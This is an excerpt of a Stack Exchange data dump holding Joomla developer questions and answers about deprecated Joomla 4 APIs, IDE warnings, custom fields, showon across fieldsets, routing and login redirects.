  <row Id="31482" PostTypeId="1" AcceptedAnswerId="31487" CreationDate="2021-08-30T17:07:52.820" Score="0" ViewCount="38" Body="&lt;p&gt;I am using Microsoft Visual Code for custom Joomla development.  The below code is from one of the controller php file.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Public function savecontact(){&#xA;    &#xA;    Joomla\CMS\Session\Session::checkToken() or die( 'Invalid Token' );&#xA;    &#xA;    $model = $this-&amp;gt;getModel('book');&#xA;&#xA;    if ($model-&amp;gt;store()) {&#xA;        $msg = Joomla\CMS\Language\Text::_( 'JSMS_BOOKV_BOOKSAVESUCCESS' );&#xA;        $msg_type = &amp;quot;message&amp;quot;;&#xA;    } else {&#xA;        $msg = Joomla\CMS\Language\Text::_( 'JSMS_BOOKV_BOOKSAVEFAIL' );&#xA;        $msg_type = &amp;quot;error&amp;quot;;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The above code is trying to use the method defined inside the model.  Since the model is called as &lt;code&gt;getModel('book')&lt;/code&gt; Visual Code is not able to interpret the methods defined in the model and it is throwing error as &lt;code&gt;Undefined method 'store'.&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/h8pm8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/h8pm8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I understand this is not an actual error, it is only a problem in Visual Code display.  To me it is annoying to see these type of errors in every controller file.&lt;/p&gt;&#xA;&lt;p&gt;How this can be remediated so that Visual Code should not throw this as an error?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2021-08-31T06:36:13.527" Title="Visual code is unable to identify method inside model" Tags="|joomla-3.x|custom-component|visualcode|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31483" PostTypeId="1" CreationDate="2021-08-31T04:56:35.083" Score="4" ViewCount="3731" Body="&lt;p&gt;I am using the below code in my current Joomla custom component&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Joomla\CMS\Plugin\PluginHelper::importPlugin('captcha');&#xA;$dispatcher = JEventDispatcher::getInstance();&#xA;$res = $dispatcher-&amp;gt;trigger('onCheckAnswer',$post['recaptcha_response_field']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems 'JEventDispatcher' is deprecated in Joomla 4&lt;/p&gt;&#xA;&lt;p&gt;What would be the equivalent in Joomla 4 style of coding.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2022-05-28T17:06:30.750" Title="'JEventDispatcher' is deprecated in Joomla 4 and what is the replacement" Tags="|custom-component|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31484" PostTypeId="1" AcceptedAnswerId="31485" CreationDate="2021-08-31T05:03:36.973" Score="0" ViewCount="893" Body="&lt;p&gt;I am using the below joomla code in my custom component.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$module = JModuleHelper::getModule('mod_mycustommodule');&#xA;$moduleParams = new Joomla\Registry\Registry($module-&amp;gt;params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It seems 'JModuleHelper' is deprecated from Joomla 4 and would like to know what is the equivalent in Joomla 4 style of coding.  Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2021-08-31T05:17:52.613" Title="'JModuleHelper' is deprecated in Joomla 4 and what is its equivalent" Tags="|custom-component|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31485" PostTypeId="2" ParentId="31484" CreationDate="2021-08-31T05:17:52.613" Score="3" Body="&lt;p&gt;Use the fully qualified class name which is &lt;code&gt;Joomla\CMS\Helper\ModuleHelper&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To get this information in your IDE, you can run &lt;code&gt;build/stubGenerator.php&lt;/code&gt; script via PHP command line. This will generate a stub file of deprecated class aliases and the new classes to use. This is how it looks in VS code:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7dZoH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7dZoH.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-08-31T05:17:52.613" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31486" PostTypeId="1" CreationDate="2021-08-31T05:30:34.950" Score="3" ViewCount="1000" Body="&lt;p&gt;In my custom Joomla component, I got the below code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$db = Joomla\CMS\Factory::getDbo();&#xA;//some code&#xA;if (!$row-&amp;gt;bind($this-&amp;gt;_formdata)) {&#xA;  if($db-&amp;gt;getErrorMsg()){&#xA;    //do some code&#xA;  }&#xA;  return false;&#xA;}&#xA;//some code&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I understand that the method &lt;code&gt;getErrorMsg&lt;/code&gt; is deprecated in Joomla 4.  What is the best way to get the DB error inside the model &lt;code&gt;store&lt;/code&gt; method.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2021-09-02T09:38:39.177" Title="'getErrorMsg' is deprecated in Joomla 4 and what would be the equivalent" Tags="|custom-component|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31487" PostTypeId="2" ParentId="31482" CreationDate="2021-08-31T06:36:13.527" Score="1" Body="&lt;p&gt;One way is to explicitly specify the class with an inline doc block:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/** @var \Path\To\BookModel $model */&#xA;$model = $this-&amp;gt;getModel('book');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-08-31T06:36:13.527" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31488" PostTypeId="2" ParentId="31483" CreationDate="2021-08-31T07:36:25.493" Score="4" Body="&lt;p&gt;The ideal way is to have dependencies injected into your objects. Event dispatcher is registered with the global service container so you can fetch it when registering your component services in &lt;code&gt;provider.php&lt;/code&gt;. However, there isn't a good way to pass it down to MVC elements without a custom MVC factory. Core components don't use anything like that yet.&lt;/p&gt;&#xA;&lt;p&gt;That said, if you just want to get your code working, you can trigger the event through the application:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$res = Joomla\CMS\Factory::getApplication()-&amp;gt;triggerEvent('onCheckAnswer', [$post['recaptcha_response_field']]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that this method is already deprecated and will be removed in 5.0. Going forward, an event object should be created and passed to dispatcher's &lt;code&gt;dispatch()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$dispatcher = Joomla\CMS\Factory::getApplication()-&amp;gt;getDispatcher();&#xA;$event = new Joomla\Event\Event('onCheckAnswer', [$post['recaptcha_response_field']]);&#xA;$res = $dispatcher-&amp;gt;dispatch('onCheckAnswer', $event);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2021-08-31T15:19:04.323" LastActivityDate="2021-08-31T15:19:04.323" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31489" PostTypeId="1" CreationDate="2021-09-02T07:07:22.610" Score="1" ViewCount="3574" Body="&lt;p&gt;I tried below code&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;$article_id = 2;&#xA;&#xA;$model = JModelLegacy::getInstance('Article', 'ContentModel');&#xA;$article = $model-&amp;gt;getItem($article_id);&#xA;&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php');&#xA;$fields = FieldsHelper::getFields('com_content.article', $article, true);&#xA;&#xA;foreach ($fields as $key =&amp;gt; $field)&#xA;{&#xA;   echo $field-&amp;gt;title . ' : ' . $field-&amp;gt;rawvalue. ' &amp;lt;br&amp;gt; ';&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I want to fetch/get the fields and their values individually. also tried&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$article_id = Factory::getApplication()-&amp;gt;input-&amp;gt;getInt('id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;but giving me error. please guys help me out.&lt;/p&gt;&#xA;" OwnerUserId="15683" LastActivityDate="2022-11-24T23:08:35.140" Title="How to get/call Joomla 4 custom fields into module" Tags="|joomla-4.x|joomla-4|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="31490" PostTypeId="1" CreationDate="2021-09-02T07:35:11.887" Score="0" ViewCount="162" Body="&lt;p&gt;For a component I have a field &lt;code&gt;item_type&lt;/code&gt; that needs to be saved in its own database column for ease of searching, filtering etc, and a set of configurations which have global option defaults so are stored as parameters in the database params column for the component eg &lt;code&gt;item_colour&lt;/code&gt; &lt;code&gt;item_size&lt;/code&gt; etc.&#xA;So the item_type field in the form xml appears in the main fieldset and the parameters fields appear in the params fieldset.&lt;/p&gt;&#xA;&lt;p&gt;I want to use &lt;code&gt;showon&lt;/code&gt; field attributes in the form to determine which fields will show depending on the setting of item type. In the edit view I want to render the fields all on the same tab rather than use a separate tab for params.&lt;/p&gt;&#xA;&lt;p&gt;My problem is that &lt;code&gt;showon&lt;/code&gt; only seems to work with fields in the same fieldset. Is there any syntax that will get showon to work with a field in a different fieldset.&lt;/p&gt;&#xA;&lt;p&gt;So the form xml looks like this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;default&amp;quot;&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;item_type&amp;quot; type=&amp;quot;list&amp;quot;&#xA;            label=&amp;quot;Select type&amp;quot; description=&amp;quot;&amp;quot;&#xA;        &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Basic&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Simple&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;Complex&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;        &amp;lt;fieldset name=&amp;quot;params&amp;quot; label=&amp;quot;JGLOBAL_FIELDSET_DISPLAY_OPTIONS&amp;quot; &amp;gt;&#xA;            &amp;lt;field name=&amp;quot;item_colour&amp;quot; type=&amp;quot;color&amp;quot;&#xA;            label=&amp;quot;Colour&amp;quot; description=&amp;quot;&amp;quot;&#xA;            default=&amp;quot;#0000ff&amp;quot; format=&amp;quot;hex&amp;quot;&#xA;            showon=&amp;quot;item_type:1&amp;quot;&#xA;            /&amp;gt;&#xA;            &amp;lt;field name=&amp;quot;item_icon&amp;quot; type=&amp;quot;text&amp;quot;&#xA;            label=&amp;quot;Icon&amp;quot; description=&amp;quot;&amp;quot;&#xA;            default=&amp;quot;&amp;quot;&#xA;            showon=&amp;quot;item_type:2&amp;quot;&#xA;            /&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/fields&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and the edit.php includes this&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('item_type'); ?&amp;gt; &#xA;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('item_colour','params'); ?&amp;gt; &#xA;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('item_icon','params'); ?&amp;gt; &#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The problem is that the showon conditions do not work. If I move the item type field into the params fieldset and change it to &lt;code&gt;&amp;lt;?php echo $this-&amp;gt;form-&amp;gt;renderField('item_type','params'); ?&amp;gt;&lt;/code&gt; then it works, but of course the item_type gets saved as a parameter, not in its own column.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2021-09-07T10:25:49.460" Title="Form-Fields-Fieldset-showon issue" Tags="|joomla-3.x|jform|form-fields-types|showon|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31491" PostTypeId="2" ParentId="31486" CreationDate="2021-09-02T09:28:44.433" Score="5" Body="&lt;p&gt;I try to give just a short answer on this. We cannot say that there is an “equivalent” of your code snippet in &lt;strong&gt;Joomla 4&lt;/strong&gt; since Joomla has been handling errors with using core PHP Exceptions. And your code sample would get error in newer Joomla 3 also.&lt;/p&gt;&#xA;&lt;p&gt;The old &lt;strong&gt;JError&lt;/strong&gt; class were deprecated quite long time ago (&lt;strong&gt;at Joomla 3.1&lt;/strong&gt;). The code editors shows this obviously at older error handlings in codes inside Joomla (at &lt;code&gt;getError()&lt;/code&gt;, &lt;code&gt;setError()&lt;/code&gt;, &lt;code&gt;getErrorMsg()&lt;/code&gt; and so on…)&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;bind()&lt;/code&gt; method - if it is the Table class method - is throwing an Exception &lt;code&gt;\InvalidArgumentException&lt;/code&gt;, if the data (first parameter of the method: $src) is not an object or an array. Or if that method would be the Joomla Form class &lt;code&gt;bind()&lt;/code&gt; method then it thrown an &lt;code&gt;\UnexpectedValueException&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The important part to understand at this question is that we have to &lt;code&gt;catch&lt;/code&gt; the &lt;code&gt;\Exception&lt;/code&gt; thrown in the method (otherwise it will cause a PHP Fatal error of Uncaught exception…), so we have to use a &lt;code&gt;try-catch&lt;/code&gt; block in this code and catch the Exception given in the &lt;strong&gt;method&lt;/strong&gt; &lt;code&gt;bind()&lt;/code&gt; which we are using in this part of the code.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;try &#xA;{&#xA;    $row-&amp;gt;bind($this-&amp;gt;_formdata);&#xA;} &#xA;catch (\InvalidArgumentException $e)&#xA;{&#xA;    // $e-&amp;gt;getMessage(); // Exception message already set in the method we try to use...&#xA;    // do some code using the $e-&amp;gt;getMessage(), but do not return it...&#xA;    // Factory::getApplication()-&amp;gt;enqueueMessage($e-&amp;gt;getMessage(), 'error'); // for example&#xA;    // or log it: Log::add($e-&amp;gt;getMessage(), Log::WARNING, 'jerror');&#xA;    // or you can ignore the Exception&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12524" LastEditDate="2021-09-02T09:38:39.177" LastActivityDate="2021-09-02T09:38:39.177" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31492" PostTypeId="2" ParentId="16223" CreationDate="2021-09-02T10:31:27.080" Score="1" Body="&lt;h2&gt;UPDATE 2021&lt;/h2&gt;&#xA;&lt;p&gt;It seems that somewhere around version 3.9.7, they included a fourth parameter in this function, so now the function definition is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public static function _($url, $xhtml = true, $tls = self::TLS_IGNORE, $absolute = false)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So you can call it like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JRoute::_('index.php?Itemid=164', true, 0, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The fourth argument forces the URL to be absolute.&lt;/p&gt;&#xA;&lt;p&gt;This is probably also backwards compatible, because &lt;a href=&quot;https://stackoverflow.com/questions/39291070/does-php-always-support-passing-more-arguments-than-the-method-expected&quot;&gt;PHP silently disregards additional arguments for user-defined functions&lt;/a&gt;. However, you'll still have to solve it somehow for versions earlier than 3.9.7.&lt;/p&gt;&#xA;" OwnerUserId="405" LastActivityDate="2021-09-02T10:31:27.080" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31493" PostTypeId="2" ParentId="31490" CreationDate="2021-09-02T10:40:30.750" Score="2" Body="&lt;p&gt;&lt;code&gt;showon&lt;/code&gt; indeed works only within the same fieldset.&lt;/p&gt;&#xA;&lt;p&gt;The javascript related with the showon, can handle fields from different groups/fieldsets. The problem resides in the php logic of the &lt;code&gt;FormField&lt;/code&gt; class.&#xA;What i did to resolve that issue, was to create &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;my own field&lt;/a&gt; (extending FormField), where i have overwritten the &lt;code&gt;public function renderField&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;This is the function that handles what will be passed in the &lt;code&gt;data-showon&lt;/code&gt; attribute of a field, which is then handled by the page's javascript.&lt;/p&gt;&#xA;&lt;p&gt;My code looks like that:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt; public function renderField($options = [])&#xA;    {&#xA;        if ($this-&amp;gt;hidden) {&#xA;            return $this-&amp;gt;getInput();&#xA;        }&#xA;&#xA;        if (!isset($options['class'])) {&#xA;            $options['class'] = '';&#xA;        }&#xA;&#xA;        $options['rel'] = '';&#xA;&#xA;        if (empty($options['hiddenLabel'])) {&#xA;            if ($this-&amp;gt;getAttribute('hiddenLabel')) {&#xA;                $options['hiddenLabel'] = $this-&amp;gt;getAttribute('hiddenLabel') == 'true';&#xA;            } else {&#xA;                $options['hiddenLabel'] = $this-&amp;gt;hiddenLabel;&#xA;            }&#xA;        }&#xA;&#xA;        if (empty($options['hiddenDescription'])) {&#xA;            if ($this-&amp;gt;getAttribute('hiddenDescription')) {&#xA;                $options['hiddenDescription'] = $this-&amp;gt;getAttribute('hiddenDescription') == 'true';&#xA;            } else {&#xA;                $options['hiddenDescription'] = $this-&amp;gt;hiddenDescription;&#xA;            }&#xA;        }&#xA;        /*&#xA;         * Show on that works globally across the form&#xA;         */&#xA;        if ($this-&amp;gt;showon) {&#xA;            $showonParts = explode('.', $this-&amp;gt;showon);&#xA;            $group = $this-&amp;gt;group;&#xA;            $showon = $this-&amp;gt;showon;&#xA;            if (count($showonParts) &amp;gt; 1) {&#xA;                $showon = array_pop($showonParts);&#xA;                $group = implode('.', $showonParts);&#xA;            }&#xA;&#xA;            $options['rel'] = ' data-showon=\'' .&#xA;                json_encode(FormHelper::parseShowOnConditions($showon, $this-&amp;gt;formControl, $group)) . '\'';&#xA;            $options['showonEnabled'] = true;&#xA;        }&#xA;        $data = [&#xA;            'input' =&amp;gt; $this-&amp;gt;getInput(),&#xA;            'label' =&amp;gt; $this-&amp;gt;getLabel(),&#xA;            'options' =&amp;gt; $options,&#xA;        ];&#xA;&#xA;        $data = array_merge($this-&amp;gt;getLayoutData(), $data);&#xA;&#xA;        return $this-&amp;gt;getRenderer($this-&amp;gt;renderLayout)-&amp;gt;render($data);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To utilize the above you will have:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Use that type of field in your xmls (using the type attribute). Of course to do that you should have prefixed the folder where you store you fields.&lt;/li&gt;&#xA;&lt;li&gt;The syntax is &lt;code&gt;fieldsId.fieldId  + condition + value&lt;/code&gt;&#xA;Do note: I mention fieldsId NOT fieldsetId. i.e.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fields name=&amp;quot;attribs&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;basic-attribs&amp;quot; label=&amp;quot;COM_JFILTERS_BASIC_ATTRIBS_FIELDSET_LABEL&amp;quot;&amp;gt;&#xA;        &amp;lt;!-- Store the type of the dynamic filter. We use that in order not to query the db. Fed during the filters generation --&amp;gt;&#xA;        &amp;lt;field&#xA;                name=&amp;quot;myFieldName&amp;quot;&#xA;                type=&amp;quot;myField&amp;quot;&#xA;                value=&amp;quot;&amp;quot;&#xA;        /&amp;gt;&#xA;   &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/fields&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Should be accessed as:&#xA;&lt;code&gt;showon=&amp;quot;attribs.myFieldName!:10&amp;quot;&lt;/code&gt;&#xA;Will show your field for any value other than 10&lt;/p&gt;&#xA;&lt;p&gt;Do note: I have tested that in J4 only. Hopefully will work in J3 as well, and if not, minor changes are required.&lt;/p&gt;&#xA;" OwnerUserId="3969" LastEditorUserId="3969" LastEditDate="2021-09-07T10:25:49.460" LastActivityDate="2021-09-07T10:25:49.460" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31494" PostTypeId="1" CreationDate="2021-09-02T13:40:48.303" Score="0" ViewCount="974" Body="&lt;p&gt;Microsoft now requires MFA to be set up to use SMTP.  I don't see an easy way to add a 2FA to Joomla for this process.&lt;/p&gt;&#xA;&lt;p&gt;Is there a way to do this in Joomla to send SMTP via the standard Joomla way of doing things?&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-09-09T18:07:40.450" LastActivityDate="2021-09-09T18:07:40.450" Title="How can I use Office365 to sent SMTP emails from Joomla?" Tags="|emails|smtp|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="31495" PostTypeId="1" CreationDate="2021-09-02T18:31:03.113" Score="1" ViewCount="38" Body="&lt;p&gt;I have a page for &amp;quot;Froggy Park&amp;quot; on my Joomla site, and right now it is at &lt;code&gt;www.site.com/forkids/froggypark&lt;/code&gt; but I want the park to be at &lt;code&gt;www.site.com/parks/forkids/froggypark&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;The page is already in a menu called &amp;quot;Parks&amp;quot; which has a menu header called &amp;quot;For Kids&amp;quot; then there is a menu item &amp;quot;Froggy Park&amp;quot; under that header.  How can I make &amp;quot;/parks/&amp;quot; appear in the url?&lt;/p&gt;&#xA;" OwnerUserId="15558" LastActivityDate="2021-09-02T18:31:03.113" Title="Is there a way to make all pages in a menu have a slug in the URL?" Tags="|url|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="31496" PostTypeId="2" ParentId="3611" CreationDate="2021-09-03T07:46:01.773" Score="1" Body="&lt;p&gt;To do that you need an open graph plugin, you can use this one &lt;a href=&quot;https://extensions.joomla.org/extension/tagz-open-graph/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/tagz-open-graph/&lt;/a&gt; , I used in one of my sites.&lt;/p&gt;&#xA;" OwnerUserId="14360" LastActivityDate="2021-09-03T07:46:01.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31497" PostTypeId="2" ParentId="15154" CreationDate="2021-09-03T16:51:28.100" Score="3" Body="&lt;p&gt;In Joomla 4 you can use the new webservices API where you have to create a plugin and some views to render the data. More information can be found &lt;a href=&quot;https://docs.joomla.org/J4.x:Adding_an_API_to_a_Joomla_Component&quot; rel=&quot;nofollow noreferrer&quot;&gt;in the official docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="56" LastEditorUserId="56" LastEditDate="2021-09-06T15:13:49.113" LastActivityDate="2021-09-06T15:13:49.113" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31498" PostTypeId="2" ParentId="31490" CreationDate="2021-09-03T17:58:05.800" Score="0" Body="&lt;p&gt;I liked @sakis answer, but then I realised that in the full case I would have to write custom field types of text, textarea, color, list, and radio form field types.&#xA;This seemed like a lot of work so I wondered if I could do something in javascript with the &lt;code&gt;onchange&lt;/code&gt; event of the &lt;code&gt;item_type&lt;/code&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;This solution also seems to work without having to include any custom fields:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;put &lt;code&gt;item_type&lt;/code&gt; field in the main (default) fieldset so that on form save the value gets written to the database field.&lt;/li&gt;&#xA;&lt;li&gt;add a new hidden field &lt;code&gt;hidden_item_type&lt;/code&gt; in params fields/fieldset and set the showon events of the subsidiary params fields to depend on 'hidden_item_type` Be sure to render this hidden field on the form in the edit view.&lt;/li&gt;&#xA;&lt;li&gt;put javascript &lt;code&gt;onchange=&amp;quot;...&amp;quot;&lt;/code&gt; on the visible item type which sets the value of the hidden field to the new value of the visible one and dispatches the hidden field's onchange event.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Thus in the form xml:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- in the main fieldset --&amp;gt;&#xA;    &amp;lt;field name=&amp;quot;item_type&amp;quot; type=&amp;quot;list&amp;quot;&#xA;    label=&amp;quot;Item Type&amp;quot; description=&amp;quot;&amp;quot;&#xA;    onchange=&amp;quot;var targ=document.getElementById('jform_params_hidden_item_type'); &#xA;targ.value=value; targ.dispatchEvent(new Event('change'));&amp;quot;&#xA;        &amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Default&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;Simple&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;Complex&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/field&amp;gt;&#xA;        &#xA;&amp;lt;/fieldset&amp;gt; &#xA;&amp;lt;fields name=&amp;quot;params&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset name=&amp;quot;params&amp;quot; label=&amp;quot;JGLOBAL_FIELDSET_DISPLAY_OPTIONS&amp;quot; &amp;gt;&#xA;        &amp;lt;field name=&amp;quot;hidden_marker_type&amp;quot; type=&amp;quot;hidden&amp;quot;&#xA;            default=&amp;quot;&amp;quot;&#xA;        &amp;gt;&#xA;        &amp;lt;field name=&amp;quot;marker_colour&amp;quot; type=&amp;quot;color&amp;quot; &#xA;            label=&amp;quot;Colour&amp;quot; description=&amp;quot;&amp;quot; &#xA;            default=&amp;quot;#0000FF&amp;quot; format=&amp;quot;hex&amp;quot;&#xA;            showon=&amp;quot;hidden_item_type:2&amp;quot;&#xA;        /&amp;gt;  &#xA;&amp;lt;!-- other fields as required and close fieldset and fields --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;this seems to work ok and to my mind is simple. There may be ways of improving it (eg make the onchange a separate function which could be called by different fields passing the relevant target id).&lt;/p&gt;&#xA;&lt;p&gt;Thanks to &lt;a href=&quot;https://joomla.stackexchange.com/users/3969/sakis&quot;&gt;Sakis&lt;/a&gt; for making me think about the fact that Joomla must be using javascript to do the showon function. (PS I can't work out how to tag someone here, @xxx doesn't seem to work in preview and simply putting their profile link won't notify them?)&#xA;(PPS I'm sticking with J3 for the foreseeable future as converting custom stuff to J4 seems to be a right royal pain and the new admin interface is horrid I think - J4 is a turkey as far as I'm concerned)&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2021-09-03T17:58:05.800" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="31499" PostTypeId="1" CreationDate="2021-09-04T20:45:20.250" Score="1" ViewCount="269" Body="&lt;p&gt;Joomla version: Joomla! 3.10.1 Stable&lt;/p&gt;&#xA;&lt;p&gt;PHP: 7.4&lt;/p&gt;&#xA;&lt;p&gt;This joomla website doesn't have many plugins. I only have OneSocial plugin.&lt;/p&gt;&#xA;&lt;p&gt;Anyways, I am willing to try any suggestions at this point, I have tried to back-up my joomla files and do a full reinstall, but the issue is still there.&lt;/p&gt;&#xA;&lt;p&gt;When a registered user logs into the front-end of the joomla site, they get redirected to the edit-my-profile page, and ANY other URL, with the logged-in user, always redirects to edit-my-profile page. Even manually trying to visit any other URL gets redirected to edit-my-profile page.&lt;/p&gt;&#xA;&lt;p&gt;Any tips on how to debug or read some logs?&lt;/p&gt;&#xA;" OwnerUserId="8340" LastActivityDate="2023-05-12T10:44:01.367" Title="When a user logs in it always goes to edit-your-profile page" Tags="|joomla-3.x|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31500" PostTypeId="1" AcceptedAnswerId="31501" CreationDate="2021-09-05T04:10:06.683" Score="1" ViewCount="59" Body="&lt;p&gt;This may be a silly question but I couldn't find anything stating that &amp;quot;proxy&amp;quot; was a reserved word.  I am working on my component for elections and wanted to register a user nominating another user to be his/her proxy for voting.&#xA;So when I had my singular view of &amp;quot;proxy&amp;quot; and my multiples view of &amp;quot;proxys&amp;quot; (yes spelled incorrectly deliberately) I have trouble returning from the edit view to the multi view in the admin side because the view name was always changed to &amp;quot;proxies&amp;quot;.&#xA;Did my head in.&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2021-12-01T14:54:32.667" Title="Is the word Proxy a reserved word (J4)" Tags="|joomla-4|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
